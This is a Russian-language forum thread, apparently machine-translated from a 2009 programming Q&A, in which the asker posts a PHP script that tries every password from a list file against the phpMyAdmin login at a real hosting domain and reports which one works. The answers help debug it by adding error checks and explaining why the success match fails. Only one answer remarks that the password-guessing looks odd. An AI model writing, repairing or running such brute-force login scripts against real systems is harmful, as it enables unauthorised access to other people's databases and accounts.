Сценарий входа Phpmyadmin - PullRequest
0 голосов
/ 08 февраля 2009

Я пытаюсь закодировать скрипт входа в систему для phpmyadmin

<?php    
$user = "Domain";
$passwords = file("passwords.txt");

foreach ( $passwords as $pass){
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
echo "Login Worked with: {$pass}";
endif;
}
?>

Моя проблема в том, что она здесь не работает

echo "Login Worked with: {$pass}";

Вы видите проблему?

Ответы [ 2 ]

1 голос
/ 08 февраля 2009

Не обязательно решение вашей проблемы, но некоторая базовая проверка ошибок может указать вам верное направление. Ваша проблема может даже начаться при первоначальном обращении к файлу.

$passwords = file("passwords.txt");

if (!$passwords) {
 echo 'Unable to read password file';
} //etc

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");

if (!$source) {
 echo 'Unable to read file source';
} //etc

Также в качестве примечания, если вы вызываете эту функцию для файла, находящегося за пределами вашей файловой системы, вы не получите вывод (HTML), похожий на вызов в браузере (не уверен, что это было вашим намерением). *

0 голосов
/ 06 марта 2009
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):

Значение $ source будет полным HTML-ответом получения URL:

http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass

preg_match будет совпадать только в первой строке этой строки. Вам нужно будет по-разному проанализировать строку или заменить любые символы новой строки, чтобы она соответствовала всему файлу.

Выглядит так, как будто вы тестируете входы в базу данных, используя имя пользователя «Домен» с несколькими различными паролями. Не уверен, что это было твоим намерением, но это кажется немного странным.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...